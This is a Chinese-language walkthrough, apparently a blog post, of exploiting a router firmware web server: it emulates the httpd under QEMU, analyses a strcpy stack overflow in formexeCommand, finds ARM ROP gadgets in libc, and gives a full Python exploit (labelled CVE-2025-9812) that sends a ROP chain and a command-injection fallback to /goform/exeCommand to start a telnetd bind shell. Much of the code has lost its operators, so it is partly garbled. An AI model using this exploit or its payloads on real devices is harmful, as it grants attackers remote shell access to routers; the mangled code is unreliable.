)
首先我們拿到這個固件之后還是先進(jìn)行查看一下這個架構(gòu)這里可以看出來是32位的arm架構(gòu)的~ cd /home/bgl1/renwu ~/renwu ls US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted ~/renwu cd _US_CH22V1.0BR_V1.0.0.6\(468\)_CN_TDC.bin.extracted ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted sudo ip link add br0 type bridge ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: ip link add br0 type bridge │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ? Approved! Executing with sudo... [sudo] bgl1 的密碼 對不起請重試。 [sudo] bgl1 的密碼 ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted sudo ip addr add 192.168.0.1/24 dev br0 12s ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: ip addr add 192.168.0.1/24 dev br0 │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ? Approved! Executing with sudo... ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted sudo ip link set br0 up 3s ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: ip link set br0 up │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ? Approved! Executing with sudo... ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted cd squashfs-root ~/r/_/squashfs-root sudo mount -t proc proc ./proc/ ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: mount -t proc proc ./proc/ │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ? Approved! Executing with sudo... ~/r/_/squashfs-root sudo mount -o bind /dev ./dev/ ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: mount -o bind /dev ./dev/ │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ? Approved! Executing with sudo...上面這一部分是我們進(jìn)行仿真啟動之前先設(shè)置一下網(wǎng)橋以及相關(guān)的文件掛載防止后面因?yàn)檫@些原因?qū)е聢箦e~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root sudo chroot . /qemu-arm-static /bin/httpd Yes: ****** WeLoveLinux ****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps: no process killed connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps-guest: no process killed INIT cert part CertInitFromFlash failed to mtd_open cert connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. Stop Ftp Sev...... PostMsg msg create error Post Msg failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. httpd listen ip 192.168.0.1 port 80 webs: Listening for HTTP requests at address 220.59.9.0 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. line:458.open /dev/flow failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory這里我們直接進(jìn)行了qemu啟動發(fā)現(xiàn)這里不需要進(jìn)行path直接進(jìn)行patch就行這里由于我的emba因?yàn)閐ocker的原因無法進(jìn)行正常掃描所以這里使用ai進(jìn)行掃描一下這里我們發(fā)現(xiàn)了doSystemCmd函數(shù)這個函數(shù)內(nèi)部調(diào)用的是system但是我們比較菜還是使用strcpy吧int __fastcall formexeCommand(int a1) { size_t v1; // r0 char v4[4096]; // [sp10h] [bp-231Ch] BYREF char v5[4096]; // [sp1010h] [bp-131Ch] BYREF char s1[256]; // [sp2010h] [bp-31Ch] BYREF char s[512]; // [sp2110h] [bp-21Ch] BYREF size_t n; // [sp2310h] [bp-1Ch] FILE *stream; // [sp2314h] [bp-18h] char *src; // [sp2318h] [bp-14h] int v11; // [sp231Ch] [bp-10h] memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); memset(v5, 0, sizeof(v5)); memset(v4, 0, sizeof(v4)); v11 0; src (char *)sub_28B84(a1, cmdinput, unk_852EC); strcpy(s, src); sub_4F554(s1, s); if ( !strcmp(s1, cd) ) { v1 strlen(path_buf); sub_4F634(path_buf, s, v1); doSystemCmd(); } else if ( !strcmp(s1, ls) || !strcmp(s1, cat) ) { sub_4F280(s); doSystemCmd(); } else if ( !strcmp(s1, echo) ) { sub_4EFA8(s); doSystemCmd(); } else { if ( strcmp(s1, pwd) ) strcmp(s1, ping); doSystemCmd(); } stream fopen(/tmp/cmdTmp.txt, r); while ( 1 ) { memset(v4, 0, sizeof(v4)); if ( !fgets(v4, 4096, stream) ) break; n strlen(v4); if ( v11 n 1 0x1000 ) break; memcpy(v5[v11], v4, n); v11 n; } fclose(stream); sub_29504( a1, HTTP/1.1 200 OK\nContent-type: text/plain; charsetutf-8\nPragma: no-cache\nCache-Control: no-cache\n\n); sub_29504(a1, %s, v5); return sub_29A4C(a1, 200); }這里我們發(fā)現(xiàn)了這個漏洞函數(shù); Attributes: bp-based frame fpd0xFFFFFFF8 ; int __fastcall formexeCommand(int) EXPORT formexeCommand formexeCommand var_22F8 -0x22F8 var_12F8 -0x12F8 s1 -0x314 s -0x214 n -0x14 stream -0x10 src -0xC var_8 -8 var_4 -4 PUSH {R4,R11,LR} ADD R11, SP, #8 SUB SP, SP, #0x2300 SUB SP, SP, #0x24 LDR R4, (_GLOBAL_OFFSET_TABLE_ - 0x4F8F4) ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_ MOV R3, #0xFFFFDCEC SUB R12, R11, #-(-8var_4) STR R0, [R12,R3] MOV R3, #0xFFFFDCE8 SUB R0, R11, #-(-8var_4) STR R1, [R0,R3] MOV R3, #0xFFFFDCE4 SUB R1, R11, #-(-8var_4) STR R2, [R1,R3] SUB R2, R11, #-(-8s) MOV R3, #0x200 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset SUB R2, R11, #-(-8s1) MOV R3, #0x100 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0xFFFFECF0 SUB R12, R11, #-(-8var_4) ADD R2, R12, R3 MOV R3, #0x1000 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0xFFFFDCF0 SUB R0, R11, #-(-8var_4) ADD R2, R0, R3 MOV R3, #0x1000 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0 STR R3, [R11,#-8var_8] MOV R3, #0xFFFFDCEC SUB R1, R11, #-(-8var_4) LDR R0, [R1,R3] LDR R3, (aCmdinput - 0x91DF8) ; cmdinput ADD R3, R4, R3 ; cmdinput MOV R1, R3 LDR R3, (unk_852EC - 0x91DF8) ADD R3, R4, R3 ; unk_852EC MOV R2, R3 BL sub_28B84 STR R0, [R11,#-8src] SUB R3, R11, #-(-8s) MOV R0, R3 ; dest LDR R1, [R11,#-8src] ; src BL strcpy SUB R2, R11, #-(-8s1) SUB R3, R11, #-(-8s) MOV R0, R2 MOV R1, R3 BL sub_4F554 SUB R3, R11, #-(-8s1) MOV R0, R3 ; s1 LDR R3, (aCd - 0x91DF8) ; cd ADD R3, R4, R3 ; cd MOV R1, R3 ; s2 BL strcmp MOV R3, R0 CMP R3, #0 BNE loc_4FA68我們這里查看一下這個漏洞函數(shù)formexeCommand的匯編代碼我們可以計(jì)算出這個函數(shù)棧的大小SUB SP, SP, #0x2300SUB SP, SP, #0x24我們看這兩句匯編的代碼就是棧空間的大小8996字節(jié)這里我們發(fā)現(xiàn)這個s的相對偏移量為540字節(jié)這是靜態(tài)調(diào)試我們?nèi)db動態(tài)調(diào)試一下確認(rèn)一下偏移量這里先進(jìn)行qemu啟動~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root sudo chroot . ./qemu-arm-static -g 1234 /bin/httpd 1m 29s Yes: ****** WeLoveLinux ****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps: no process killed connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps-guest: no process killed INIT cert part CertInitFromFlash failed to mtd_open cert connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. Stop Ftp Sev...... PostMsg msg create error Post Msg failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. httpd listen ip 192.168.0.1 port 80 webs: Listening for HTTP requests at address 220.59.9.0 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. line:458.open /dev/flow failed. sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB: File name too long啟動gdb并且發(fā)送腳本這里看到pc指針里面是b。所以我們算出來的偏移量是對的確認(rèn)完之后就可以構(gòu)造rop了~/r/c/_/squashfs-root sudo cat /proc/$(pgrep qemu-arm)/maps | grep libc.so err 1|1 [sudo] bgl1 的密碼 66562000-665c7000 r--p 00000000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 665cf000-665d0000 r--p 00065000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 665d0000-665d1000 rw-p 00066000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 6670f000-66714000 r--p 00000000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 6671b000-6671c000 r--p 00004000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 6671c000-6671d000 rw-p 00005000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root arm-linux-gnueabi-readelf -s lib/libc.so.0 | grep system ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root arm-linux-gnueabi-objdump -d lib/libc.so.0 | grep -A2 pop.*r0.*pc err 0|1 19744: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 19748: 00053df0 strdeq r3, [r5], -r0 1974c: 000009e8 andeq r0, r0, r8, ror #19 -- 2f354: e8bd81ff pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, pc} 2f358: 0003e1dc ldrdeq lr, [r3], -ip 2f35c: 000010fc strdeq r1, [r0], -ip -- 3224c: e8bd80bf pop {r0, r1, r2, r3, r4, r5, r7, pc} 32250: 0003b2f8 strdeq fp, [r3], -r8 32254: 000011a8 andeq r1, r0, r8, lsr #3 -- 33e48: e8bd801f pop {r0, r1, r2, r3, r4, pc} 33e4c: 000396e0 andeq r9, r3, r0, ror #13 33e50: 000017c0 andeq r1, r0, r0, asr #15 -- 33eac: e8bd801f pop {r0, r1, r2, r3, r4, pc} 33eb0: 00039684 andeq r9, r3, r4, lsl #13 33eb4: 000017c0 andeq r1, r0, r0, asr #15 -- 34470: e8bd801f pop {r0, r1, r2, r3, r4, pc} 34474: 000390b8 strheq r9, [r3], -r8 34478: 00001b18 andeq r1, r0, r8, lsl fp -- 344d4: e8bd801f pop {r0, r1, r2, r3, r4, pc} 344d8: 0003905c andeq r9, r3, ip, asr r0 344dc: 00001b18 andeq r1, r0, r8, lsl fp -- 34848: e8bd801f pop {r0, r1, r2, r3, r4, pc} 3484c: 00038ce0 andeq r8, r3, r0, ror #25 34850: 00001e90 muleq r0, r0, lr -- 348ac: e8bd801f pop {r0, r1, r2, r3, r4, pc} 348b0: 00038c84 andeq r8, r3, r4, lsl #25 348b4: 00001e90 muleq r0, r0, lr -- 35e64: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 35e68: 000376e4 andeq r7, r3, r4, ror #13 35e6c: 000009e8 andeq r0, r0, r8, ror #19 -- 3c764: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 3c768: 00030dd4 ldrdeq r0, [r3], -r4 3c76c: 000009e8 andeq r0, r0, r8, ror #19 -- 3db60: 08bd8001 popeq {r0, pc} 3db64: e3520002 cmp r2, #2 3db68: e4d13001 ldrb r3, [r1], #1 -- 3db80: e8bd8001 pop {r0, pc} 3db84: e26cc004 rsb ip, ip, #4 3db88: e35c0002 cmp ip, #2 -- 4b698: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4b69c: 00021ebc ; UNDEFINED instruction: 0x00021ebc 4b6a0: 00000d14 andeq r0, r0, r4, lsl sp -- 4bc44: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4bc48: 00021910 andeq r1, r2, r0, lsl r9 4bc4c: 00000d2c andeq r0, r0, ip, lsr #26 -- 4c174: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4c178: 000213e0 andeq r1, r2, r0, ror #7 4c17c: 00000d44 andeq r0, r0, r4, asr #26 -- 501b0: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 501b4: 0001d37c andeq sp, r1, ip, ror r3 501b8: 000047bc ; UNDEFINED instruction: 0x000047bc -- 53b30: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 53b34: 00019ba0 andeq r9, r1, r0, lsr #23 53b38: 00000a44 andeq r0, r0, r4, asr #20 -- 5ae7c: e8bd8001 pop {r0, pc} 5ae80: e52de008 str lr, [sp, #-8]! 5ae84: ebfffff8 bl 5ae6c __libc_system0xbfc ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root 但是由于每次啟動qemu的時候因?yàn)閍slr的原因?qū)е旅看蔚刂范疾灰粯铀跃椭苯觓i了import socket import struct import subprocess import sys import os import time # ── Config ────────────────────────────────────────────── TARGET_IP 192.168.0.1 TARGET_PORT 80 BINDSHELL_PORT 9999 OFFSET_TO_PC 540 # Confirmed with cyclic pattern # libc offsets (from lib/libc.so.0) LIBC_SYSTEM_OFFSET 0x0005a270 LIBC_POP_R0_PC_OFF 0x0003db80 # pop {r0, pc} # Approximate stack address (observed in GDB at crash point) # Adjust if this changes between QEMU runs STACK_CMD_ADDR 0x4080028c # SP20 from observed crash SP 0x40800278 # ── Helpers ───────────────────────────────────────────── def p32(x): return struct.pack(I, x 0xFFFFFFFF) def get_libc_base(): Read libc base from running qemu-arm process try: pid subprocess.check_output( pgrep -f qemu-arm.*httpd | head -1, shellTrue ).decode().strip() if not pid: return None maps subprocess.check_output( fsudo cat /proc/{pid}/maps, shellTrue ).decode() for line in maps.split(\n): if libc.so.0 in line and r-xp in line: return int(line.split(-)[0], 16) except: pass return None def send_payload(payload): Send POST request with overflow payload body bcmdinput payload sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) req ( fPOST /goform/exeCommand HTTP/1.0\r\n fHost: {TARGET_IP}\r\n fContent-Type: application/x-www-form-urlencoded\r\n fContent-Length: {len(body)}\r\n f\r\n ).encode() body sock.send(req) try: resp sock.recv(4096) print(f[*] Response: {resp[:200]}) except socket.timeout: print([*] No response (httpd may have crashed - expected for ROP)) sock.close() def check_shell(): Check if bind shell is listening try: s socket.socket() s.settimeout(3) s.connect((TARGET_IP, BINDSHELL_PORT)) s.send(becho SHELL_OK; id\n) time.sleep(0.5) data s.recv(4096) s.close() return data except: return None # ── Main ──────────────────────────────────────────────── def main(): print([*] CVE-2025-9812 ROP Exploit) print(f[*] Target: {TARGET_IP}:{TARGET_PORT}) print(f[*] Offset to PC: {OFFSET_TO_PC} bytes) # 1. Get libc base libc_base get_libc_base() if not libc_base: print([-] Cannot find libc base. Is httpd running?) print([*] Trying command injection fallback...) # Command injection fallback (always works) payload bls; /usr/sbin/telnetd -p %d -l /bin/sh; % BINDSHELL_PORT send_payload(payload) time.sleep(2) result check_shell() if result: print(f[] Shell via command injection! Output:\n{result.decode(errorsreplace)}) print(f[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}) else: print([-] Shell not available. Start httpd and try again.) return print(f[] libc base: 0x{libc_base:08x}) # 2. Calculate addresses system_addr libc_base LIBC_SYSTEM_OFFSET gadget_addr libc_base LIBC_POP_R0_PC_OFF cmd_addr STACK_CMD_ADDR print(f[] system: 0x{system_addr:08x}) print(f[] gadget: 0x{gadget_addr:08x}) print(f[] cmd: 0x{cmd_addr:08x}) # 3. Build ROP chain cmd b/usr/sbin/telnetd -p %d -l /bin/sh % BINDSHELL_PORT payload bA * OFFSET_TO_PC payload p32(gadget_addr) # PC → pop {r0, pc} payload p32(cmd_addr) # → R0 pointer to cmd string payload p32(system_addr) # → PC system() payload cmd b\x00 # command string (at cmd_addr) print(f[*] Payload length: {len(payload)} bytes) print(f[*] Sending ROP payload...) # 4. Send exploit send_payload(payload) # 5. Wait and check print(f[*] Waiting for shell on port {BINDSHELL_PORT}...) time.sleep(2) for attempt in range(3): print(f[*] Attempt {attempt1}...) result check_shell() if result: print(f[] GOT SHELL!\n{result.decode(errorsreplace)}) print(f[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}) return time.sleep(1) print([-] ROP shell failed. Trying command injection fallback...) payload bls; /usr/sbin/telnetd -p %d -l /bin/sh; % BINDSHELL_PORT send_payload(payload) time.sleep(2) result check_shell() if result: print(f[] Shell via command injection!) print(f[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}) if __name__ __main__: main()這樣就拿到shell了